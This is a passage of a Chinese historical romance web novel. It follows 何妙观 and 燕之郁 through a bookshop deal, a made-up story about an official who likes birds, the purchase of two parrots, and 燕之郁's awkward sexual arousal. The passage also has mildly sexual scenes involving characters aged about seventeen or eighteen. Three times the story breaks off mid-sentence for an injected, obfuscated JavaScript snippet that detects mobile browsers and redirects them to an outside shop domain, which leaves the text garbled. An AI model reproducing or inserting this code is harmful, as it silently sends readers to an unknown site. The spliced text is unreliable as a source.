燕之郁略一颔首,叮嘱道:“扬州这边书坊的门路深,目光,你小心些,免得画财两失。” “大后天是休沐,阿父都有空。我不问你,你还真不和我们一起去啊?”何妙观见他一副认真嘱咐的模样,忍不住出言逗他。 燕之郁微微一愣,眼底漾开笑意,反问道:“妙观是希望我与你同去么?” “当然是,不、希、望!”何妙观拉长音调,说罢,转身便要往膳堂走去。 下一刻,却猝不及防地落入温暖的怀抱。少年自身后环住她,下巴轻轻搁在她肩头,温热的呼吸拂过耳畔。 他恳求道:“妙观,求你再说一次,说你希望我一起去。” “我不说。”何妙观看他服软的样子,心情甚是愉悦。 “妙观……”燕之郁沉吟片刻,含笑道,“我亲你一下,你让我去好不好?” 何妙观闻言,险些笑出声来:“燕之郁,你这是既要又要吧?” “是是是。”他从善如流,语气理所当然,“那换作妙观亲我一下,再让我去好不好?” “这也是既要有要。”何妙观嘴上嗔怪着,心脏砰砰直跳。她侧过脸,在他颊边轻轻啄了一下,趁他愣神时挣脱他的怀抱,头也不回地向膳堂跑去。 一触即分的温热,犹如蝴蝶掠过春水。 燕之郁怔在原地,抬手抚上方才被亲吻的地方,感受着残余的湿润。 36.三十六 扬州城有两大书坊:新德书坊,问道书坊,分别位于城东和城西。未出阁的女郎为话本作画,到底容易惹来闲言碎语,故而何妙观与宝珠都稍作乔装,才前往书坊商谈。 新德书坊的掌柜态度虽然客气,但言语间对话本中插画并不看重,想要一口价买断。出价亦不算高,二十幅插画,总价不过三两银子。宝珠听闻,小脸立刻垮下来。 “姑姑,这还没宝珠一个月的零用钱多呢。”何宝珠扯着何妙观的衣袖悄声嘟囔。 掌柜听闻,哈哈一笑道:“原是大户人家的小姐,那又何苦来做这等费心费力的营生?” “想凭本事赚些体己钱嘛。”何宝珠撇撇嘴道。 经过一番讨价还价,价格终于提到四两银子,但宝珠仍撅着嘴不甚满意。何妙观便提议,不如再去另一家书坊问问看。 问道书坊则采取分成模式。宝珠需要预先垫付雕版费用,但若话本畅销,可得总收益二成。 简而言之,一家低风险低回报,另一家高风险高回报。 何宝珠抉择不下来,苦恼地望着两人:“姑姑,你觉得宝珠该怎么选?” 何妙观自然倾向后者。 扬州一本话本售价约两百文,销量佳者年售可达一千五百本。扣除雕版、纸张、墨料及书坊运营等成本,纯利约有一百八十两白银。按二成分润,便是三十六两,是四两银子的九倍。唯一的问题在于,已购入《人间四月芳菲尽》的读者中,到底有多少人愿意为插画而再次购买。 何妙观把顾虑告诉二人,宝珠便更加游移不定。 “燕郎君,你怎么想?” “我和妙观想得一样。”燕之郁道,“若是担忧销路,不妨先请扬州的名流雅士购阅,以此造势。名流喜欢的,众人往往趋之若鹜。” 对哦,可以营销! 何妙观立刻赞成道:“宝珠,我们可以给扬州的名门世家都赠阅一册,唔,听说端阳郡主就喜欢看话本,如今她又常常办宴席,若能得她青睐,想必扬州城的闺秀们都会争相购买。” 何宝珠听罢,也觉得有理,当即和问道书坊商签好协议。结束后,宝珠并不急着回府,兴致勃勃地要请二人去醉仙楼好生吃一顿。 雅间内,宝珠在瓷杯内斟满梨汁,举杯向何妙观,笑着道:“宝珠这第一杯,要敬姑姑。多谢姑姑这些时日为宝珠之事奔波劳碌。”说罢,仰头饮尽。 何妙观一边笑,一边也饮了一口杯中梨花酿。 接着,何宝珠又满上一杯,笑道:“这第二杯嘛,要敬燕郎君,不对……”她故意拖长语调,笑盈盈地望向燕之郁,“该敬姑父——” “宝珠!”何妙观被这改口惊得脸颊飞红,慌忙要去捂她的嘴。可宝珠早有预料,端着杯子跳开一步,一边饮尽一边笑道,“多谢姑父一直陪着姑姑,让姑姑这些时日笑口常开,心情这般好……” 另一边,燕之郁已从容举杯,心安理得地受下“姑父”的称呼,含笑应道:“宝珠小姐言重。能让妙观开怀,是我分内的事。” 何妙观停下追闹宝珠的脚步,转而去轻掐燕之郁的手臂,又是好笑又是好气:“燕之郁!你是宝珠姑父吗你就喝……” 燕之郁任由她掐着,唇上还泛着莹润水光,眼中笑意更深:“妙观,这屋里也没其他男人吧。” 三人打打闹闹,一顿饭就吃了一个时辰,直到戌时才回到何府。不料刚到何府门前,正撞上姜氏从金陵回来的马车。 姜氏这些日子不在何府,在金陵督察何宝灵的学业,宝珠因此才得以偷闲。 姜氏看到三人结伴回来,面色沉下去,宝珠原先红润的脸一下变得惨白。 “宝珠,”姜氏平静地看着她,“这是从哪里归来?” 为话本作画的事情,是瞒着何府的其他人的,宝珠不能说。她急中生智道:“阿娘,我们刚从扬州府回来。燕、燕郎君说今日无事,想带我们去扬州府转转……” 虽然何徵大摆宴席时,姜氏还在金陵,但早已从家信中得知燕之郁入官府的事情。她眼风淡淡扫过燕之郁,狐疑道:“哦?宝珠,你阿父在扬州府为官这些年,你也未曾主动要去。怎么他一开口,你便有了兴致?” 何宝珠一时语塞,支吾道:“因、因为燕郎君说府衙中有样极新奇有趣的物事……呃,这个,宝珠不便细说。” 姜氏轻笑一声,道:“哦,什么有趣的东西,阿娘倒听不得。” 若是往日,宝珠这般祸水东引,燕之郁面上不显,心里难免不悦。但此刻,转念一想,宝珠此举多半是为了护着妙观,免得她受牵连,那点不快便消散不少。更何况,想起席间脆生生的“姑父”,他唇角微微上扬,从容道:“二夫人,不过是徐侍郎留在扬州府里的一只翠羽鹦哥而已。” “侍郎这些日子不在江都,托付郁代为照料一二。郁想着妙观和宝珠或许会觉得新奇,便邀请她们去瞧个热闹。我们酉时方才出的门,喂完鸟便即刻返回,不想正巧遇上二夫人回府。” 姜氏心里忖度,喂鸟也不算什么正经事。但她听何静臣提起过这位徐侍郎,是当今圣人眼前的红人,此次南下巡查江南风土,不少扬州官员都绞尽脑汁想攀附一二,盼着他回京后能在御前美言。但没想到,这个小郎君才多久,就和他混熟成这样。 她今日舟车劳顿,着实疲乏,见三人回来确实也早,衣衫也整齐,便不再深究:“既如此,日后出门需更知分寸。宝珠,随阿娘回房吧。” 说罢,便携着宝珠,转身向内院走去。 == “燕郎君,徐侍郎他真的养鸟啊?”待两人回到东院后,何妙观好奇道。 “妙观,自然是我编的。” “啊?”何妙观愣道,“可若是二嫂日后得知真相,宝珠岂不是还要挨训……” 燕之郁觉得好笑,转过头问道:“二夫人怎么核实?直接去问人家养不养鸟吗?” “二嫂可以问二兄呀!若是养鹦哥,那个叫声这么清脆,其他官员肯定也听得到……” “听不到的。”燕之郁摇头,“侍郎办公的地方和你二兄隔得很远。” 见何妙观还是柳眉微蹙,燕之郁拉拉她的袖子,软声道:“妙观,若你还是不放心,待我回衙署后,便给侍郎送一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583235|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹦哥去,好不好?到时候,他不想养也得养……” 何妙观被他这无赖的说辞逗得想笑,努力绷起脸严肃道:“不许送!万一侍郎不喜禽鸟,燕郎君,你这样不是弄巧成拙,反惹他厌烦。”她顿了顿,神色愈发认真,“况且,若他无心饲养,肯定不会悉心照料。小鸟性命脆弱,不上心照顾的话,很容易便死掉的……” 她想起小时候养过的蓝羽虎皮鹦鹉,羽毛鲜艳,叫声婉转,极通人性,她日日亲手喂养,精心照料了八年,从小学照顾到高中,最终也算寿终正寝。 燕之郁看她提及鸟,神色都柔和下来,连忙顺着她的话道:“侍郎是喜欢鸟的。” “啊?他亲口跟你说的?”何妙观将信将疑。 “嗯。”燕之郁颔首,“有一日午间歇值时,他亲口说的。” 没想到,何妙观闻言,非但未露喜色,反而蹙紧眉头,问道:“燕之郁,这种重要的事情,你怎么不早说?” “徐侍郎他无缘无故同你说起喜欢鸟,他自己又没养鸟,这分明是暗示你要投其所好,送上名贵品种以表心意。”何妙观被他蠢得无语,“徐侍郎有没有说喜欢哪种鸟?” 燕之郁一时语塞。 “我猜他肯定只喜欢那些极为稀罕的品类……哎,我就知道徐侍郎不是什么好人!”一瞬间,何妙观忽地想通了许多关节,“他这些时日对你态度冷淡,肯定是因为他暗示你送一只鸟,你却毫无反应,觉得你愚钝不堪,不适合官场,才无意栽培于你……不行,我得去和阿父说一声。” “妙观……”眼见着何妙观立刻往前院走去,燕之郁连忙跟上去。 “干什么?”何妙观停下脚步。回眸看他,少年一脸无措。 “呃……我想和你一起去找何刺史吧。”燕之郁无奈道。 另一边,何徵刚从外县巡查归来,正与陈寄柔准备歇下,听闻二人急促叩门,只得重新披衣起身,在书房接见二人。 何妙观神色凝重,将近日燕之郁在府衙如何清闲、如何早早便无事归家,以及徐侍郎如何提及喜爱养鸟之事细细道来。何徵听罢,抚须沉吟片刻,亦觉得自家囡囡所言不无道理,转而问道:“小燕郎君,你可还记得侍郎有没有说他喜欢什么鸟。” 燕之郁对养鸟一窍不通,只得硬着头皮道:“侍郎只说他喜欢鹦哥。” “这倒是不好办。鹦哥品类繁多,品相、产地、鸣声皆大有讲究,哎……”何徵捻着胡须,面露难色,“但依本官往日所见,徐侍郎并非喜好旁敲侧击、暗示索礼的人,他忽然这样,着实令人有些费解……” 燕之郁心里有苦说不出,勉强扯出一个笑容:“我也不清楚。” 何妙观便道:“阿父,他在其他官员面前,自然要维持清正的形象,但在下属面前,或许便是另一番面目。” 燕之郁垂眸,咬着唇,不知该说什么。 “也罢。”何徵思忖良久,终是道,“阿父有一位挚友,是养鸟的行家。明日便请他带你们到鸣翠庄瞧瞧,选个品相上佳、鸣声清越的鹦哥,不论价值,购置一只吧。或许对小燕郎君的前途有益。” 37.三十七 鸣翠庄内,鸟语啁啾。各种各样的珍禽栖息在精巧的笼中,一片斑斓之色。 两人在掌柜的带领下,一只一只看过去。 庄内大多数是一两个月大的鹦哥,羽翼初丰,但很是活泼。何妙观看了一圈,目光最终落在一只蓝色羽毛的雌鹦哥身上。日光下,鹦哥的羽毛光泽流转,翼尖泛着点点莹白,一看就是出众的品相。 何妙观问掌柜这只的售价,掌柜说,这一只蓝皮鹦哥是琉璃国所出,在江南这一带很是少见,平日的售价是十五两银子,念在和何徵相熟的份上,愿意折半以七两相让。再加上一只特质的鸟笼以及幼鸟的鸟食,总共需要十二两。 何妙观在心里换算,一两银约等于两千元,这一下去便足足花去两万四千元,不免感到肉痛,心中对徐侍郎的印象更为不满,只觉得他是一个劳民伤财的大贪官。 但因为徐侍郎这些日子并不在扬州,这只鹦哥便由何妙观暂且养在府里,决定等它健壮些,再让阿父送过去。每日傍晚燕之郁下值回来,常常和她一同围坐在笼边,逗小鸟玩。 这只鹦哥极通人性,偶尔放出笼外,便乖巧地跳到何妙观的指尖,歪着头打量二人。 “燕郎君,你给它喂一点吃的。” 燕之郁便把鸟食放在指尖,递到小鸟喙边。小鸟吧嗒吧嗒嚼完后,扑棱一下,从何妙观的手上,蹦到少年的小臂上,歪头打量着他。燕之郁一时不知所措,僵着身子不敢妄动,小鸟见状,便顺着他的胳膊往上跳,一路跃上少年的肩头。 “哇,它很喜欢你呢。”何妙观抿嘴轻笑。 “啊,是么。”燕之郁只觉得小鸟的羽毛蹭到他的脖颈,痒丝丝的,“唔……妙观,它好像在咬我。” 他忽然感到颈侧传来些微的痛意。 “我看看。”何妙观连忙凑近他,把他的头发撩起来。果然,小鸟正一下一下啄着他的侧颈,在雪白的肌肤上留下一点淡淡的红痕。 何妙观连忙将小鸟引到腕上,放回笼中,板着脸教训道:“小乖,不允许乱咬人。” “妙观?”抚着颈侧的燕之郁微微一怔,愣道,“你叫它什么?” “小乖呀。”何妙观眉眼弯弯,介绍道,“因为它平时都很乖的。” “哪里乖啊……”燕之郁立刻委屈起来,咬着嘴唇,可怜巴巴地望着她,“它咬我,妙观。” 他捂着脖子,桃花眼湿润,俨然一副求安慰的模样。何妙观唇角微扬,柔声道:“好好好,它不该咬你,我给你看看。”说罢,倾身向前,仔细地检视他颈间的伤痕。 索性只是被啄破了一点皮。何妙观轻轻吹一下,问:“疼不疼?” “嗯!” “我一会给你涂药。不过,它为什么偏偏咬你呢?”何妙观有点困惑,伸出手,在他的脖颈间轻揩一下,凑到鼻尖。有一股浅淡的清香。 女郎的呼吸喷洒在他的肩颈,燕之郁浑身僵硬,只垂眸看着她的侧脸。 何妙观没闻出这是什么的香味,索性又凑近些,吸一口。燕之郁喉结微动,轻声道:“妙观?” “你涂的是什么香膏?” 燕之郁轻声道:“就是寻常的芦荟膏。” 何妙观恍然大悟:“哦,鹦哥喜欢芦荟的味道。所以才啄你的,是它表达喜欢的意思,所以你被咬,不怪小乖。” 问来问去,竟然是在为那小鸟开脱。 燕之郁唇角一撇,含恨地托着腮,幽幽地望向笼中。那只蓝羽鹦哥恰巧也歪头看他。他没好气地白它一眼,小鸟便扑棱着翅膀,发出一连串聒噪的鸣叫声,好像也在表达不满。 这只鸟,刚才在咬他,如今又凶他。想到日后顽劣的小鸟还得全权由自己养,燕之郁只后悔那一日为何要帮何宝珠解围,平白揽下这桩麻烦。 若是让李循知晓他在扬州忙活这些事,必定要被唠叨好一阵。 不对—— 他为何要在意李循如何想。 他如今已经每日上值,处理属于他的公务,李循交代他的事情,他该做的也都在做,虽然是君臣,但臣子为何就不能有点自己的生活。 可转念一想,这十天半月一直在和何妙观耳鬓厮磨,确实算得上过度沉溺。他不该如此纵情的。 “燕郎君,它在跟你道歉。”何妙观看到他一脸郁色,不由莞尔道,“燕郎君大人有大量,干嘛要和小乖计较。”说罢,女郎单膝跪上凳面,自后环住他,下颌轻抵在他肩头,两只手臂挂在他胸前轻轻晃着,“哎呀,我替小乖道歉,好不好?” 躁动不安的情绪安静下来,他将手轻轻搭在她的手背上,轻声道:“妙观,我没有生气。” 鹦哥看着两人,又叽叽喳喳地叫起来。 “燕郎君,我真不想把小乖送给徐侍郎。”何妙观看着笼中活泼的蓝影,轻叹一声。 “既然妙观这般喜欢,不如就将小乖留下。侍郎那边,我们另寻一只送去吧。”燕之郁轻声提议,“我正好还有一点积蓄。” “真的假的?”何妙观好奇地看着他。 “嗯……以前存着的,一直没有用。”燕之郁垂下眼睫,含糊道。 两日后,他们在鸣翠庄又买下一只通体碧绿的雄鸟。这一回,何妙观吸取教训,除却喂食外,不再亲近逗弄这只小鸟,故而绿鸟不似小乖那般亲人。 晴日里,何妙观带着它们去晒太阳。两鸟竟一见如故,不过片刻,小乖便和碧羽鹦哥依偎一处,羽翼交叠,难分难舍。 何妙观看着你侬我侬的两只小鸟,又开始不忍心把它们分笼来养。 何妙观没有给绿鸟取名。她觉得,一旦给小动物取名字,羁绊便也随之产生。但偶尔来看鸟的宝珠不这么觉得,只是笑嘻嘻地说姑姑偏心、不喜欢小绿鸟,还自作主张给绿羽鹦哥取了个“小金”的名字。 何妙观问为什么不叫“小绿”,宝珠笑眯眯道:“姑姑,这个金,是指黄金万两的金。你看它的尾巴这里,有一点点是金色的。” 时光飞逝,转眼绿色鹦哥就要被送人。何妙观担心小乖一时半会无法适应和朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593383|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友分开,便提早将两只鸟笼分到不同的屋子。不曾想,才分开一日,小乖就开始恹恹不振,连最爱的粟米也啄得无精打采。 何妙观将鸟食放在指尖,递到它喙边,小乖扭身以臀相对,俨然一副极怨怼的姿态。 “看来它们的感情真的很好。”燕之郁伏在一旁的桌案上,侧脸瞧着这一人一鸟。 何妙观觉得他才是此事的始作俑者,不由瞪他一眼,气道:“燕之郁,都怨你,害得这两只都得给徐侍郎送过去!” “啊……?”燕之郁坐直身子,震惊道,“两只都送过去?” “对啊!小乖在绝食呢!”何妙观又气又无奈,“你去把另一个笼子提过来,让它们两个住一起试试。” 不出所料,绿色鹦哥刚刚飞入笼中,小乖即刻精神抖擞起来。两只小鸟你咬咬我,我嗅嗅你,梳羽依偎一会,又争着啄起粟米。 “忘恩负义!”何妙观见小乖变脸如此之快,又气又笑,“喂,小乖,它认识你多久,我认识你多久,你怎么这样?小乖,你理理我!” 燕之郁看她这副和小鸟作对的样子,不由唇角弯起,轻笑起来。 “燕之郁!你笑什么?”何妙观正有气无处撒。 还不是因为他的提议,原本只用给徐侍郎送一只鸟,现在变作送两只鸟! “妙观……”燕之郁连忙收敛笑意,张张嘴,“我是觉着它们这样可爱,徐侍郎肯定会喜欢的。以后,你若是想见,我们便一起去他的府里看看……” 一提到徐侍郎,何妙观又忧心忡忡起来:“这种小鸟是没有多少生存能力的,必须好好对待,每日都要换水换食。如果徐侍郎不珍惜它们,它们可能很容易死掉的……” “妙观不需要担心这个。”他见她蹙眉,连忙伸手将她轻轻揽过,柔声道,“侍郎既然说他喜欢鸟,肯定会安排专门的鸟师来精心饲养的。” “他说会专门请人来养?”何妙观仰起脸,稍稍安心些。 “嗯。我隐约记得他提过的。”燕之郁唇瓣轻咬,像是在努力回忆,“退一万步说,倘若、倘若他真的养不好,我设法将小鸟偷偷带回来便是……” 他一本正经地瞎说着。 何妙观破涕为笑,侧身倚靠在他肩头,也一本正经道:“燕郎君,你偷的时候千万要小心点。如果被抓住的话,千万不能说是我指使的,也不能影响阿父在扬州的清誉。这样,我才会想办法偷偷来官府捞你,或者蒙个面来劫狱。” “多谢妙观女侠。”他极其夸张地双手抱拳。 女郎的身体温暖而柔软,衣襟间透出淡淡的桂花熏香味。燕之郁将脸颊埋进她的颈窝,一呼一吸便被这股清甜的气息灌满,原先心头莫名的郁结也随之一点点散去。何妙观安静地由他抱着,空出的手绕到他背后,有一搭没一搭地编弄着他散落的发丝。 编了一会儿,何妙观轻轻“咦”了一声,动作顿住。大腿外侧传来陌生的触感。有什么硬物正隔着薄薄布料,悄然抵着她。 “燕郎君?” 38.三十八 十七八岁,正是年轻人血气方刚的年纪,这种生理现象是正常的,何妙观安慰自己。 可尽管这么想,意识到那处的异样后,她便无法像先前那般安然地坐在他腿上。 被陌生的东西抵着大腿,好古怪啊! 片刻后,何妙观还是觉得浑身不自在。她小心翼翼地挪着身子,往外面坐一点,坐到离他膝盖近些的位置上,委婉道:“燕郎君,我好饿,我们先去吃个饭吧。” “嗯。”燕之郁点点头,松开环抱。 何妙观如释重负般从他腿上起身。 好在燕之郁的衣袍宽松,从外面看倒没什么异常。何妙观盯着他皙白俊美的脸颊,方才清晰真实的触感又浮现上来,让她没来由地感到尴尬。 不对。该觉得尴尬的,应该是燕之郁才对。 何妙观摇摇头,试图从乱七八糟的思绪中抽离出来。 “妙观,我们走吧。”燕之郁和往常一样,伸手轻揽她的肩膀。 何妙观身子一僵,下意识地避开他的触碰。少年微微一怔,手悬在半空,后知后觉地察觉到身体的异样,于是悬着的手缓缓垂下。 燕之郁喉头微动,不知该说些什么。 为什么会这样。为什么身体会不听使唤。为什么会在她面前如此失态。 他望着她略显异样的眼神,心里忍不住地想,她是不是察觉到他这样才提议去用晚膳的,她是不是在觉得他很恶心。 两人沉默地用完晚饭,简单地告别后,各自回到房中。 窗外的暮色尚未完全沉沦,天空被烧成绛色,屋内光线昏蒙。 燕之郁洗漱后,褪下外袍,坐在桌案前。他想借着翻阅书册转移心神。但目光却在字句间游移,一个字也读不进去。 大脑昏昏沉沉,他索性躺到榻上。 月亮升起来,淡如水的清辉透过轻薄的纸窗,流泻进屋内,留下一层柔光。 甫一闭眼,方才拥抱的触感便重新浮现出来。女郎温热柔软的身体,倚靠在他胸前时细微的呼吸声,衣襟间淡雅的花香……一切都像羽毛般,不断撩拨着他紧绷的神经。 他拉下床帐,烦躁地翻了个身,将脸埋进被褥里。 不可以。不要再想这些。不可以。 但越是命令思绪停止,大脑却越是活跃,一些从未有过的画面浮现出来。昏沉的烛光里,女郎温和地笑着,仰起脸,轻柔地吻上他的唇,肌肤相亲,温热的触感令人头晕目眩。 少年苍白的额角渗出细密汗珠。 不可以。不可以。不可以。 他咬住下唇,手指紧紧攥住被褥,指节因用力而泛白。 可是好难受。 “唔……” 大脑一片空白,外界的声音尽数消失。他的呼吸变得急促而凌乱,整个人都开始微微颤抖。 燕之郁醒过来的时候,已是亥时。屋内灯烛燃尽,一片漆黑。空气中弥漫着甜腻的熏香和咸腥气息混合的味道。 他摸索着支起身子,点亮烛台。凌乱的床榻映入眼帘,让他不由蹙紧眉头。 他没想到自己会因此晕过去。 真荒谬。 真没救。 身体粘腻,满身都是干掉的汗,他起身走向净室。铜镜中倒映着少年潮红鲜润的面颊,因为汗水和泪水,脸上湿漉漉的,散落的墨发黏在额角鬓边,整个人宛如刚从水中捞出来一样。 燕之郁用铜盆接满温水,仔细洗净双手,在镜前静立片刻,等待气息平复些许后,才转身去沐浴。 身体被温水冲洗,黏腻不适的感觉终于退去。他重新躺回榻上。身体疲惫,倦意如潮水般涌来,他的意识很快便沉入一片混沌。 恍恍惚惚间,他感觉到床榻边坐着一个人。 是何妙观。 他很熟悉她身上的味道。清甜的像是秋日桂花的味道,闻到便会感到心安。 燕之郁睁开眼,看向她,她和往日有点不一样,穿着一件简简单单的月白色寝衣,柔软的黑发如流水般披散在肩头,不着铅华。见他醒来,何妙观微微一笑,眉眼都弯起温柔的弧度,俯身扑进他怀里,柔软的身躯压在他身上,一边喊他的名字,一边轻飘飘地亲吻着他的喉结。 这是梦。 燕之郁混沌地想。 但明知如此,还是无法控制。他的手臂环住她的腰肢,将她紧紧地拥入怀中。隔着单薄的衣料,他能感知到她身体的温软。亲吻变得不可描述,陌生的热流在他体内不可描述。(两个人只是拥抱) 熟悉的、令人晕眩的燥热再次席卷而来。 只是亲吻还远远不够,他想要更多,但是又不知道接下来该做什么。女郎的呼吸也变得急促,面颊酡红,亮晶晶的眼眸此刻水光潋滟,含笑望着他,似乎也在期盼着什么。(年轻人只是拥抱!!!) “妙观,我们、我们能不能……”少年眼眸含泪,声线颤抖。 话音未落,眼前的景象逐渐模糊,女郎的身影也变得透明,像雨后的白雾一样散去。 燕之郁猛地睁开眼睛。 房中灰蒙蒙的。熹微的晨光透过窗纸,勾勒出屋中家具模糊的轮廓。 少年坐起身,靠在床柱上。太阳穴突突直跳,胸口剧烈起伏,额角的汗珠滚落下来,坠在颈间。 他喘息良久才平复下来。 但为什么,为什么会这样。 他垂眸看着再度不可描述的亵|裤,咬住下唇。 这还是自己的身体么。 再试一次……再试一次…… 应该没关系的吧…… 。 一炷香后,燕之郁勉强撑起身子。 一阵强烈的恶心感猛地涌上喉咙。 他走到盥洗盆前,双手撑住边缘干呕,但什么也吐不出来。 铜镜里的少年面色绯红,迷离的双眼里满是困惑。 他不明白身体为什么会变得如此陌生。 == 扬州府衙。 燕之郁有气无力地伏在案上,头疼欲裂。 想起昨夜与今晨的混乱放纵,胃里一阵翻江倒海。 无法控制自己的欲|望,和禽兽有什么区别。 清泉打量着他。少年的脸色苍白异常,眼下是淡淡的青黑色,整个人从里到外透露出一股倦怠感:“公子,要不要叫清池来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603768|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把把脉。” “不需要。” 清泉很是奇怪。公子素来爱惜身体,在长安时,对饮食起居很是讲究,每月月底还会去太医署找御医看身体,生怕沾上什么病。 “可是公子,你面色真的好差。”清泉犹豫片刻,压低声音道。 “真的很差?”燕之郁蹙起眉。他没想到会这么明显。 果然,他不应该谈情说爱的。 日头渐高,燕之郁将幂篱戴在头上,黑纱迤逦垂落,掩去他的面容。 “我托你找的人怎么样。”他问。 “吴先生确实是养鸟的行家,如今已经安置在府中。不过,公子真的要养鸟啊?” “嗯。” “这么突然?”清泉心下不解,他不过去外县办了点差,一回来,就收到要找个鸟师的命令,“公子,鸟在哪里?” 燕之郁唇角微微一勾:“估计下午就有人送过来。” 果不其然,傍晚下值后,何徵便提着两只精巧的鸟笼来到他暂居的府邸。隔着厅堂的竹帘,何徵恭敬道:“下官听闻侍郎雅好禽鸟,近日偶得一对异域鹦哥,血统珍稀,聊表敬意……” 燕之郁望着笼中两团毛茸茸的身影,觉得有些好笑,唇角悄然扬起:“多谢刺史费心。” 何徵不仅送来两只鸟,还送来各色的鸟食和逗鸟的器具,以及,一本装帧素雅的小册子。册子封面题着“鹦哥饲养手册”六个大字,但没有署名。燕之郁信手翻开来看,越看越觉纸上字迹熟悉。 清秀工整的蝇头小楷,明明就是何妙观的手笔。 何徵见他翻阅得很专注,含笑解释道:“小女平日喜爱饲鸟,闲暇时喜欢写一点心得。粗浅之处,还望侍郎海涵……”他顿了顿,试探着道,“徐侍郎,不知小燕郎君在衙中办事,可还伶俐?” 燕之郁的目光这才从册页上离开,轻声道:“挺好的。” 何徵闻言,神色轻松些,笑着道:“下官见他每日的差事似乎颇为清闲,唯恐他初入仕途,不解其中机宜,有所疏漏。” “他真的做得挺不错的。”燕之郁无奈道,“本官明年也有意带着他同去长安历练。不知刺史意下如何。” 何徵喜笑颜开,连忙道:“能得侍郎青眼,实乃小燕郎君的造化。” 送走何徵,清泉凑到鸟笼前,瞧着里头互相啄羽嬉戏的两只鹦哥,笑着道:“公子,这两只鸟,看上去倒是怪可爱的。咕咕咕!咕咕咕!” 燕之郁没有回他,再度翻开小册子。执笔人将鹦哥换水、喂食、清笼诸事写得极为详尽,生怕饲养的人有半分怠慢。他看着看着,眼前浮现出何妙观临窗伏案,提笔书写的侧影,不禁微微笑起来。 “公子!公子!蓝的在拉屎欸!”清泉大呼小叫着。 燕之郁无语地瞥他一眼,道:“它有名字的,叫小乖。” “哦哦,小乖在拉屎欸。”清泉依旧咋呼,“哎呀!绿的这个在啄小乖的尾巴!” 他被吵得看不进字,只得合上册子,将东西仔细收好。 回到何府东院时,已是酉时。 昨夜荒唐一夜,他内心有愧,不知道该怎么面对她。 39.三十九 自从察觉到燕之郁身体的异样后,何妙观也不知道该如何面对他。 初高中没有性|教育课,唯一和“性”沾点边的是七年级的科学书。里面有一单元是讲人体结构的。但何妙观记得,科学老师讲到这一课时,极为含糊地一笔带过,什么也没学到。 因此,何妙观的性知识全来自网络上的各类小说和漫画,以及一些无良商家的弹窗小广告,比如什么“保温杯”“婴儿小臂”“一夜七次”之类的东西。 何妙观想想也知道,这些完全违背了正常人的生理结构。 虽然说何妙观并没有把“性”视作洪水猛兽,但遇到燕之郁,她还是会感到尴尬,因此,大部分时日都在顾家找顾蕙仙玩。 “蕙仙,你这里有没有讲那种……呃……夫妻房|事的那种书?”想起顾蕙仙写的话本里有不少露骨的片段,何妙观忍不住问道。 “啊?你忽然要这个做什么?”顾蕙仙有点好奇。 “……呃,我也想写话本,所以,嗯!”何妙观支支吾吾。 顾蕙仙听罢,很大方地给她一大堆用普通书皮包好的册子,道:“妙观,这些都是扬州的绝版书,我好不容易才弄来的。你小心点看,还有,明年三月前必须还我。” 俨然一副担心她会太喜欢这些册子从而顺走的模样。 何妙观连忙答应:“好好好,我肯定准时还你。” 待到夜深人静,阿菁和阿葵歇下后,何妙观便借着床头微弱地烛光,屏息凝神地开始翻阅。 虽然是文言文,但理解起来竟然没有丝毫难度。 什么“蛹带朱囊,花含玉蕊”“以津|液涂沫,上下揩擦”“缝微绽而不知”“茎突入而如割”……(仅摘录白行简作品展示文采) 朱囊、玉蕊…… 要是语文考试时的古文理解,能这么简单该多好。 何妙观咬着唇往后翻,发现后面不是文字,全是栩栩如生的插图,画工精湛,纤毫毕现,各种姿势应有尽有。她惊得“啪”一声合上册子,心脏怦怦直跳,片刻后又缓缓打开,细细品读,直到全部看完才美美睡下。 次日是休沐,何徵因为要和好友一同去喝酒,心情颇佳。早膳时,顺口提起不久前去拜见徐侍郎的情形。 “囡囡,徐侍郎甚是喜爱那对鹦哥,把你的册子翻来覆去地看。”何徵捋须笑道,“还有,侍郎对小燕郎君也是赞不绝口,说他办事机灵妥帖。还说待他日后返回长安,有意将小燕郎君一并带去历练。囡囡,你识人之术确实不输于阿父啊!” 何妙观闻言,心下一松,微微笑起来。 燕之郁能得到青眼,日后前程便有着落,她自然是替他高兴的,她甚至想马上去找他夸他一句“不愧是我的燕郎君”。 但这个念头一浮起来,那日贴近他时感受到的触感便不合时宜地涌现。 何妙观低着头,默默扒着碗里的粥,自然也没像往常那样,饭后便径直去东院寻他。 燕之郁也破天荒地没有每晚找个理由来寻她说话。 阿葵瞧出两人的反常,伺候梳洗时,忍不住笑着问道:“奴婢连着好多天没见小姐去找燕郎君,燕郎君好像也好多天没来呢。小姐是不是和他吵架了呀?” 